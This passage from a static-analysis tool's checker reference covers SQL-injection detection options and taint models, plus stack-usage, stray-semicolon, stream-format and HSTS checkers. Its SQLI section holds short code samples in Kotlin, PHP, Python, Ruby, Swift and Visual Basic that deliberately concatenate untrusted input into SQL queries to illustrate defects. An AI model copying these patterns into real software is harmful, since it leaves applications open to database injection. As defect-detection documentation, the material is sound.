In the example below, an activity opens its database when it is created. In its first query, it queries the `theme.Id` configuration setting. This call is not vulnerable, but loads tainted data from the database and stores it in the variable `themeId`. The second query is vulnerable to an SQL injection, as a query string is built using `themeId` and then used to query the database.

```

import android.app.Activity
import android.database.sqlite.SQLiteDatabase
import android.database.sqlite.SQLiteDatabase.OPEN_READONLY
import android.os.Bundle

class SQLIActivity : Activity() {

```

```
override protected fun onCreate(savedInstanceState: Bundle?) {
 val db = SQLiteDatabase.openDatabase("com.synopsys.coverity.example", null,
 OPEN_READONLY)
 val themeId = db.rawQuery("SELECT theme.ID from CONFIG",
 arrayOf<String>()).getString(0)
 val assets = db.rawQuery("SELECT * FROM THEME WHERE themeId = $themeId",
 arrayOf<String>())
 }
}
```

### 4.288.3.7. PHP

The following code executes an SQL query built by concatenating tainted data from the HTTP request.

```
$table = $_GET['table'];
$conn->query("SELECT * FROM $table");
```

### 4.288.3.8. Python

The following Python code builds a query by concatenating tainted data from the HTTP request and passing it to a SQL interpreter.

```
from django.conf.urls import url

def build_query(request):
 queryString = "SELECT id, name FROM " + request.body + " WHERE 1"

urlpatterns = [
 url(r'index', build_query)
]
```

### 4.288.3.9. Ruby

The following Ruby on Rails example demonstrates an HTTP request parameter directly interpolated into an SQL string without parameterization.

```
class ExampleController < ApplicationController
 def search
 User.where("name = #{params[:name]}")
 end
end
```

### 4.288.3.10. Swift

```
import Foundation
import UIKit

func selectUser() {
 var db: OpaquePointer? = nil;
```

```

let fileURL = try! FileManager.default.url(for: .documentDirectory,
in: .userDomainMask, appropriateFor: nil, create: false)
 .appendingPathComponent("Database.sqlite")

if sqlite3_open(fileURL.path, &db) != SQLITE_OK {
 print("error opening database")
}

let store = NSUbiquitousKeyValueStore()
let code: String = "SELECT * from USERS where id = " + store.string(forKey: "id")!
+ ";"

if sqlite3_exec(db, code, nil, nil, nil) != SQLITE_OK {
 let errmsg = String(cString: sqlite3_errmsg(db)!)
 print("error : \(errmsg)")
}
}

```

#### 4.288.3.11. Visual Basic

In the following example, tainted data from an HTTP request is concatenated to an SQL query in an unsafe manner.

```

Imports System.Data
Imports System.Data.SqlClient
Imports System.Web

Public Class SQLI

 Dim connection As String
 Dim req As HttpRequest
 Dim dataSet As DataSet

 Public Sub test()
 Dim da = new SqlDataAdapter("SELECT * FROM users WHERE name = " + req("name"),
connection) 'Defect
 da.Fill(dataSet)
 End Sub

```

#### 4.288.4. Options

This section describes one or more `SQLI` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `SQLI:distrust_all:<boolean>` - [C, C++, Go, JavaScript, Kotlin, PHP, Python, Swift, TypeScript] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `SQLI:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`. (All languages except C, C++)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`. (C, C++)

- `SQLI:report_nosink_errors:<boolean>` - [C#, Go, Java, JavaScript, Kotlin, PHP, Python, TypeScript, Visual Basic, and Swift] Setting this option to `true` reports an SQLI issue when tainted data is concatenated with a string that appears to be an SQL query. Defaults to `SQLI:report_nosink_errors:true`.
- `SQLI:trust_command_line:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `SQLI:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `SQLI:trust_console:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `SQLI:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `SQLI:trust_cookie:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `SQLI:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `SQLI:trust_database:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `SQLI:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `SQLI:trust_environment:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `SQLI:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `SQLI:trust_filesystem:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `SQLI:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `SQLI:trust_http:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `SQLI:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `SQLI:trust_http_header:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `SQLI:trust_http_header:false`. Setting this

checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options in the *Coverity Command Reference* .

- `SQLI:trust_js_client_cookie:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie` . This option was formerly called `trust_client_cookie` . Defaults to `SQLI:trust_js_client_cookie:true` .
- `SQLI:trust_js_client_external:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external` . Defaults to `SQLI:trust_js_client_external:false` .
- `SQLI:trust_js_client_html_element:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `SQLI:trust_js_client_html_element:true` .
- `SQLI:trust_js_client_http_header:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `SQLI:trust_js_client_http_header:true` .
- `SQLI:trust_js_client_http_referer:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from the 'referrer' HTTP header (from `document.referrer` ) in client-side JavaScript code. Defaults to `SQLI:trust_js_client_http_referer:false` .
- `SQLI:trust_js_client_other_origin:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name` , in client-side JavaScript code. Defaults to `SQLI:trust_js_client_other_origin:false` .
- `SQLI:trust_js_client_url_query_or_fragment:<boolean>` - [JavaScript and TypeScript] When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query` , in client-side JavaScript code. Defaults to `SQLI:trust_js_client_url_query_or_fragment:false` .
- `SQLI:trust_mobile_other_app:<boolean>` - [Java, JavaScript, Kotlin, Swift, TypeScript only] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `SQLI:trust_mobile_other_app:false` . Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SQLI:trust_mobile_other_privileged_app:<boolean>` - [Java, JavaScript, Kotlin, Swift, TypeScript only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `SQLI:trust_mobile_other_privileged_app:true` . Setting

this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.

- `SQLI:trust_mobile_same_app:<boolean>` - [Java, JavaScript, Kotlin, Swift, TypeScript only] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `SQLI:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SQLI:trust_mobile_user_input:<boolean>` - [Java, JavaScript, Kotlin, Swift, TypeScript only] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `SQLI:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options. Note that enabling this option for PHP and Python will not lead to detection of fewer defects because those languages currently have no known functions that return untrusted mobile data.
- `SQLI:trust_network:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `SQLI:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `SQLI:trust_rpc:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `SQLI:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `SQLI:trust_servlet:<boolean>` - [Deprecated] This option is deprecated as of version 7.7.0 and will be removed from a future release. Use `trust_http` instead.
- `SQLI:trust_system_properties:<boolean>` - [C/C++, C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, TypeScript, and Visual Basic] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `SQLI:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

See the corresponding command line options [↗](#) to `cov-analyze` in the *Coverity Command Reference*.

## 4.288.5. Models and Annotations

### 4.288.5.1. C, C++, Objective C, Objective C++

With `cov-make-library`, you can use the following Coverity Analysis primitives to create custom models for SQLI.

The following model indicates that `custom_db_command()` is a taint sink (of type SQL) for argument `command`:

```
void custom_db_command(const char *command)
{ __coverity_taint_sink__(command, SQL); }
```

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitizе()` returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitizе()` returns false and the analysis continues to track `s` as tainted:

```
bool custom_sanitizе(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, SQL);
 return true;
 }
 return false;
}
```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitizе`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitizе()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitizе : arg-*0]
void custom_sanitizе(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
```

```
void custom_string_read(char* s, int size, FILE* stream) {...}
```

**Note**

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitize`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitize()` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.288.5.2. C# and Visual Basic

C# and Visual Basic models and primitives (see Section 5.2, “Models and Annotations in C# or Visual Basic”) can improve analysis with this checker in the following case:

False negatives can occur when the analysis does not recognize sinks, which are method parameters that are executed as SQL, or HQL queries. Tainted data must not flow to such sinks due to the risk of an attacker subverting the database. If the SQLI checker does not recognize a method parameter in your program as a sink, you can model it as such. For more information, see the section “Security.SqlSink(Object)” in Section 5.2.1.3, “C# and Visual Basic Primitives”. For example, the following model makes the SQLI checker report a defect if tainted data flows into the query parameter of the `MyClass.ExecuteSql` method:

```
public class MyClass {
 void ExecuteSql(String query, boolean somethingElse, String unrelated) {
 Coverity.Primitives.Security.SqlSink(query);
 }
}
```

### 4.288.5.3. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_sql_function(data interface{}) {
 SqlSink(data);
}
```

The `SqlSink()` primitive instructs SQLI to report a defect if the argument to `injecting_into_sql_function()` is from an untrusted source.

### 4.288.5.4. Java

Java models and annotations (see Section 5.4, “Models and Annotations in Java”) can improve analysis with this checker in the following cases:

- If the analysis misses defects because it does not treat certain data as tainted, see discussion of the `@Tainted` annotation, and see Section 5.4.1.3, “Modeling Sources of Untrusted (Tainted) Data” for instructions on marking method return values, parameters, and fields as tainted. See also, Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”.
- If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, see .
- False negatives can occur when the analysis does not recognize sinks, which are method parameters that are executed as SQL, HQL, or JPQL queries. Tainted data must not flow to such sinks due to the risk of an attacker subverting the database. If the SQLI checker does not recognize a method parameter in your program as a sink, you can model it as such. For more information, see Section 5.4.1.4, “Modeling Methods to which Tainted Data Must Not Flow (Sinks)”. For example, the following model makes the SQLI checker report a defect if tainted data flows into the query parameter of the `MyClass.executeSql` method:

```
public class MyClass {
 void executeSql(String query, boolean somethingElse, String unrelated) {
 com.coverity.primitives.SecurityPrimitives.sql_sink(query);
 }
}
```

See also, Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”.

## 4.289. STACK\_USE

Quality Checker

## 4.289.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

STACK\_USE finds many instances of overall stack usage that exceeds a configurable maximum (default 250000 bytes), or of a single stack usage that exceed a configurable maximum (default 10000 bytes). Stack usage through indirection (function pointers) and recursion, direct or indirect, is not calculated. Instead, it can optionally report instances of these constructs as an aid to manual audits. The checker is appropriate only for code intended to run in embedded environments with limited stack space available, where exceeding the stack maximum can cause serious issues ranging from errant results to software or system crashes.

STACK\_USE roughly models what most compilers will do in the worst stack allocation case. For example, it does not ascertain when registers might be used to save stack space. Upon entering a function, every local declaration is assumed to immediately consume space. The checker examines the stack space consumption for every function a function calls and adds the maximum of that set to the overall base function usage. The function's base stack usage is independent of any execution path through that function.

Despite being affected, STACK\_USE will not propagate a function's overflow defects to its callers, either direct or indirect. Overflow defects are reported where they first occur.

Because this checker's need is specialized it does not automatically run. To enable this checker, use the analysis option `--enable STACK_USE`.

Some compilers might do unexpected things with stack allocations. For example, some versions of gcc appear to align all base allocations in a function according to the strictest alignment of any of them, rather than the lowest alignment boundary of the architecture. This type of variance is why control is given over the prologue usage and alignment assumptions on a global basis; this should be sufficient to model worst case estimates.

**Disabled by default:** STACK\_USE is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.



### Note

To report anything interesting, STACK\_USE options need to be configured. See Section 4.289.3, "Options".

## 4.289.2. Examples

This section provides one or more STACK\_USE examples.

The following example is shown in 2 code listings. Note that each of the 4 functions shown uses 16 bytes of prologue stack space. The total base stack usage for `stack_use_callee1()` is 1044 bytes (16 plus 1024 plus 4). The total base stack usage for `stack_use_callee2()` is 16400 bytes. The total base stack usage for `stack_use_callee3()` is 20016 bytes.

```
void stack_use_callee1(void) {
```

```

// 16 bytes for prologue of each function

char buf[1024]; // 1024 bytes of stack usage
char c; /* 4 bytes of stack usage,
 1 byte promoted to 4
 byte alignment requirement */
}

void stack_use_callee2(void) {
 char buf[150000]; // Exceeds max single base use of 10000 bytes
}

void stack_use_callee3(void) {
 char buf[200000]; // Exceeds max single base use of 10000 bytes
}

```

For `stack_use_example()` the total base stack usage is 100516. This amount is consumed as soon as the function is entered. The total amount of stack space consumed for this function is the base usage plus the largest usage of any callee:  $100516 + 200016 = 300532$  bytes. This function overflows the stack in the two calls to `stack_use_callee2()` and `stack_use_callee3()`. Note that any callers of `stack_use_example()` will *not* be reported as overflowing the stack, unless they overflow the stack independently of this call as well. Overflow defects are only reported where they actually occur.

```

void stack_use_example(int i) {
 char buf[100000]; // Exceeds max single base usage of 10000 bytes

 if (i == 1) {
 stack_use_callee1(); // Temporarily consumes (1024 + 4 + 16)
 // = 1044 bytes
 } else if (i == 2) {
 stack_use_callee2(); // Stack overflow: (150016 + 100516) > 250000
 } else {
 stack_use_callee3(); // Stack overflow: (200016 + 100516) > 250000
 }

 if (i != 4) {
 char another_buf[500]; // 500 bytes of stack usage.
 // Total base stack usage for this function: 100516
 }
}

```

### 4.289.3. Options

This section describes one or more `STACK_USE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `STACK_USE:alignment_bytes:<num>` - This option specifies the minimum allocation alignment for objects on the stack. All stack allocations are promoted to a multiple of this boundary. It must be a power of two (1 is allowed). The prologue usage is also promoted to the nearest multiple of the alignment boundary if not explicitly specified. Defaults to `STACK_USE:alignment_bytes:4`
- `STACK_USE:max_single_base_use_bytes:<bytes>` - This option specifies the maximum number of bytes allowed for a single stack allocation (for example, one local declaration) before that allocation, by itself, will be reported as a defect. Any specified value is promoted to a multiple of the alignment boundary. Defaults to `STACK_USE:max_single_base_use_bytes:10000`
- `STACK_USE:max_total_use_bytes:<num>` - This option specifies the maximum number of bytes allowed for total stack allocation before that aggregate allocation is reported as a defect. Any specified value is promoted to a multiple of the alignment boundary. Defaults to `STACK_USE:max_total_use_bytes:250000`
- `STACK_USE:note_direct_recursion:<boolean>` - When this option is true, the checker reports a defect whenever it sees a function that indirectly calls itself. This checker does not include any stack usage in its calculations for recursive calls. Defaults to `STACK_USE:note_direct_recursion:false`
- `STACK_USE:note_indirection:<boolean>` - When this option is true, the checker reports a defect when a function call through indirection (function pointers) is seen. This checker does not include any stack usage in its calculations for indirect calls. Defaults to `STACK_USE:note_indirection:false`
- `STACK_USE:note_indirect_recursion:<boolean>` - When this option is true, the checker reports a defect on each indirect recursion that it finds. This checker does not include any stack usage in its calculations for recursive calls. Defaults to `STACK_USE:note_direct_recursion:false`
- `STACK_USE:note_max_use:<boolean>` - When this option is true, the checker reports a defect for the function with highest stack usage in the code base. Defaults to `STACK_USE:note_max_use:false`

Stack usage of unimplemented functions, virtual functions, and function pointers is not included in this option, so actual stack usage may be higher. Also, this option does not work with recursive functions or incremental analysis.

- `STACK_USE:prologue_use_bytes:<bytes>` - This option specifies the amount of stack usage added to any function that has any other stack usage (for example, a local declaration). It must be zero or a power of two that is a multiple of the alignment boundary. If the alignment boundary is not explicitly specified and is not appropriate for the specified prologue usage, the alignment boundary will be set to half of the prologue usage or 1, whichever is more. Defaults to `STACK_USE:prologue_use_bytes:16`
- `STACK_USE:reuse_stack:<boolean>` - When this option is true, the checker assumes that stack space is reused by non-overlapping scopes. Whether that is true or not depends on the compiler and the optimization settings. Defaults to `STACK_USE:reuse_stack:false`

For example, in the following code listing, the stack usage estimate will be 200 when the option is set to `true`, and 300 when set to `false`.

```
{
 char x[100];
}
{
 char x[200];
}
```

#### 4.289.4. Models

The `STACK_USE` checker supports a primitive called `__coverity_stack_depth__(max_memory)`. Use this primitive in your source code to force `STACK_USE` to report defects when the function (and its callees) uses more memory (in bytes) than that specified by the constant integer *max\_memory*.

This feature is useful for situations where threads are created with different stack sizes. The primitive should be used in the thread entry-point function.

In the following example, the checker does not report a defect by default because  $16+1024+512 + 16+20000$  is less than the default limit of  $250000$ :

Note that this primitive is called from your source code, not from model source.

```
int condition;
void stack_use_example(void) {
 char buf[1024];

 if (condition) {
 stack_use_callee1();

 } else if (condition) {
 stack_use_callee2();

 } else {
 stack_use_callee3();
 }

 if (condition) {
 char another_buf[512];
 }
}
```

The checker will report such code as a defect if you add the following to your code:

```
#if __COVERITY__
 __coverity_stack_depth__(16+1024+512 + 16+20000 - 1);
#endif
```

Note that this primitive is not used by the native compiler, so it is necessary to declare it and specify conditional compiler elements, as shown in Section 5.1.6.1.16, “ ”.

## 4.289.5. Events

This section describes one or more events produced by the `STACK_USE` checker.

- `stack_use_local_overflow` - A single local variable exceeded the configured maximum stack size (default 1024 bytes).
- `stack_use_local` - Each variable that adds to the cumulative stack usage at the current program point is indicated with this event. If the stack usage is computed incorrectly for a single variable, suppress the accompanying instance of this event.
- `stack_use_return_overflow` - If the return value from one function is used as an argument to a second function, it contributes to the stack size inside of the callee. This event is reported if the return value overflows the stack.
- `stack_use_return` - Tracks the stack size increase caused by each return value that is used directly as an argument. Suppress this event if any of the summations are incorrect.
- `stack_use_argument_overflow` - The total size of a function's arguments will overflow the stack.
- `stack_use_unknown` - The stack usage could not be definitively determined and should, therefore, be audited. Suppress this event if the audit shows that the stack usage is correct.
- `stack_use_overflow` - The accumulation of several variables and call frames on the stack exceeds the configured maximum.
- `stack_use_callee_max` - The function's call stack size, when combined with the caller's, exceeds the configured maximum.

## 4.290. STRAY\_SEMICOLON

Quality Checker

### 4.290.1. Overview

**Supported Languages:** C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, and TypeScript

`STRAY_SEMICOLON` finds instances where an extraneous semicolon alters the logic of the code. This checker does not warn about redundant semicolons that have no effect on the behavior of the code. Fixing such defects is usually a matter of deleting the extraneous semicolon.

These defects can have a broad range of effects. When an `if` statement is prematurely terminated with a semicolon, the `then` portion which was intended to be conditional will execute unconditionally. When a semicolon prematurely terminates a `while` or `for` loop, the loop might iterate infinitely or it might iterate pointlessly, followed by the intended body of the loop that executes once, unconditionally.

A number of heuristics distinguish between extraneous and intentional semicolons. For `if` statements, if the `if` has no `then` and no `else` clause, it is a defect. The only exception to this behavior is if there

is a C/C++ macro that expands to nothing in the location that the `then` clause is expected. In this case, it is assumed that the macro conditionally expands either to a non-empty statement or nothing.

The rule for loops is more complicated, because loops with no bodies are common. Generally speaking, a `while` or `for` loop will only be reported if it is followed by a block (a “compound statement”) that is not justified for any purpose other than serving as the loop’s intended body.

When used to analyze a C# code base, `STRAY_SEMICOLON` reports `lock` statements with empty bodies in addition to the `if`, `for`, and `while` statements that it reports when run on C/C++ and Java code bases.

When used to analyze a PHP code base, the checker will also report cases where a `?>` closing tag immediately after an `if` conditional will cause the subsequent HTML, which was intended to be conditional, to be displayed unconditionally.

**Enabled by default:** `STRAY_SEMICOLON` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.290.2. Examples

This section provides one or more `STRAY_SEMICOLON` examples.

### 4.290.2.1. C/C++

In the following example, an `if` statement is followed by an extra semicolon, which results in `do_something_conditionally()` being called unconditionally:

```
if (condition);
 do_something_conditionally();
```

In the following example, a `while` statement is followed by an extra semicolon. The following block is executed only once, unconditionally, which might result in a premature return from the function:

```
while (condition);
{
 if (other_condition)
 return;
 /* advance the loop */
}
```

In the following example, a defect is not reported, because although it has no body, the `for` loop is self-contained and intentional, and the block that follows it might plausibly exist to create a scope for `local_variable`:

```
/* count the elements in list 'head' */
for (count = 0, p = head; p != 0; ++count, p = p->next)
 ;
{
 int local_variable
 /* ... */
}
```

```
}
```

In the following C/C++ example, when `_NDEBUG` is defined, `DPRINTF` expands to nothing, which results in the `if` statement having no `then` clause. This is not reported because the instance of the `DPRINTF` macro occurs where the `then` clause was expected and it is assumed that any macro that expands to nothing will, in some configurations, expand to something else:

```
#ifndef _NDEBUG
#define DPRINTF(x...) fprintf(stderr, x)
#else
#define DPRINTF(x...)
#endif

if (condition)
 DPRINTF("condition is true\n");
```

#### 4.290.2.2. C#

In the following C# examples, field `x` in the "bad" method examples is not protected by `lock(myLock)`. Therefore, if two threads try to execute one of these methods simultaneously, `lock(myLock)` will not prevent them from entering the critical section at the same time. Such a condition might cause the methods to erase each others work, perform tasks based on stale or inconsistent data, or otherwise behave incorrectly. Troubleshooting the cause of such an issue is difficult because the issue only occurs when two threads execute one of these methods at the same time. The "good" method examples show correct uses of the lock statement that are similar to the "bad" methods.

```
public class Test {
 object myLock;
 public int x;
 public void bad1() {
 lock(myLock); { //A STRAY_SEMICOLON defect here.
 x++;
 }
 }

 public void good1() {
 lock(myLock) { //No STRAY_SEMICOLON defect here.
 x++;
 }
 }

 public void bad2() {
 lock(myLock); //A STRAY_SEMICOLON defect here.
 {
 x++;
 }
 }

 public void good2() {
 lock(myLock) //No STRAY_SEMICOLON defect here.
 {
```

```
 x++;
 }
}

public void bad3() {
 lock(myLock); //A STRAY_SEMICOLON defect here.
 x++;
}

public void good3() {
 lock(myLock) //No STRAY_SEMICOLON defect here.
 x++;
}
}
```

#### 4.290.2.3. JavaScript

```
function stray_semicolon(x) {
 for (var i = 0; i < x; i++); { // STRAY_SEMICOLON here
 something(i);
 }
}
```

#### 4.290.2.4. PHP

```
function test($x) {
 if ($x); { // STRAY_SEMICOLON here
 ++$x;
 }
}
```

The following example shows a conditional HTML PHP defect.

```
...
{ if (cond()) ?>Bye<?php } // STRAY_SEMICOLON here
...
```

### 4.290.3. Events

This section describes one or more events produced by the `STRAY_SEMICOLON` checker.

- `stray_semicolon` - The semicolon at the end of the following statement might be extraneous.

## 4.291. STREAM\_FORMAT\_STATE

Quality Checker

### 4.291.1. Overview

**Supported Languages:** C++

`STREAM_FORMAT_STATE` finds many instances where the formatting state of an `ostream` object is altered but not restored. This can have unintended effects on formatted output to that stream after the function returns.

The standard C++ `iostream` library provides input and output functionality using streams. It includes a formatted output capability, so that data of various types can be converted to a string for output purposes. For example:

```
cout << i;
```

by default, converts the `i` integer to a string of decimal digits and writes those digits to `cout`.

A common mistake when using the `iostream` library is to alter the formatting state but forget to restore it. When altering the formatting state of a global stream, such as `cout`, or a stream passed as a parameter, later users of that stream unexpectedly have their formatting operations affected by the latent state changes. This is a violation of the expected modularity of stream users.

You can change the formatting state of an `ostream` object by using methods or manipulators. `STREAM_FORMAT_STATE` handles the `flags`, `setf`, `unsetf`, `precision`, and `fill` methods, as well as all of the standard manipulators, such as `std::hex`.



#### Note

The `width` method is not included because it is reset by the operations that use it.

**Enabled by default:** `STREAM_FORMAT_STATE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.291.2. Examples

This section provides one or more `STREAM_FORMAT_STATE` examples.

In the following example, `i` is converted to a string as hexadecimal but not restored:

```
void oops1(int i)
{
 cout << hex << i;
}
```

You can fix this defect as follows:

```
void corrected1(int i)
{
 cout << hex << i << dec;
}
```

In the following example, the precision of `f` is changed but not restored:

```
void oops2(ostream &os, float f)
{
```

```
os << setprecision(2) << f;
}
```

### 4.291.3. Options

This section describes one or more `STREAM_FORMAT_STATE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `STREAM_FORMAT_STATE:report_suspicious_setf_args:<boolean>` - When this C++ option is true, the checker will report cases where it cannot properly interpret the mask that is passed to `setf` and therefore cannot determine whether the code is correct. Proper handling of `setf` (and `unsetf`) requires understanding what bits are set in the argument mask. Defaults to `STREAM_FORMAT_STATE:report_suspicious_setf_args:false`
- `STREAM_FORMAT_STATE:saver_class_regex:<regex>` - This C++ option specifies a regular expression that matches a class name. The checker will not report any unsaved settings for a stream that is passed as the first argument of a constructor for a class whose simple identifier (no qualifiers) matches (including substring match) this regular expression. The purpose of this option is to handle cases where the formatting flags are saved in a stack-allocated object that restores those flags in its destructor. Defaults to `STREAM_FORMAT_STATE:saver_class_regex:saver$`

### 4.291.4. Events

This section describes one or more events produced by the `STREAM_FORMAT_STATE` checker.

- `format_changed` - A format category is changed for the first time along this path (or since the last flags call).
- `format_restored` - A format category is changed for the second time. This may appear in reports for a stream for which some other category was not restored.
- `end_of_path` - The end of path was reached with a category having only been modified once.
- `suspicious_setf_mask` - `setf` or `unsetf` was called with a mask value that was not recognized.

## 4.292. STRICT\_TRANSPORT\_SECURITY

Security Checker

### 4.292.1. Overview

**Supported Languages:** Ruby

`STRICT_TRANSPORT_SECURITY` determines when a web application has not been configured to send the Strict-Transport-Security header (HSTS). This header ensures all subsequent connections are forced to use TLS.

If the HSTS header is not set, man-in-the-middle attacks might downgrade connections to plain HTTP and intercept traffic.

**Enabled by default:** `STRICT_TRANSPORT_SECURITY` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

## 4.292.2. Examples

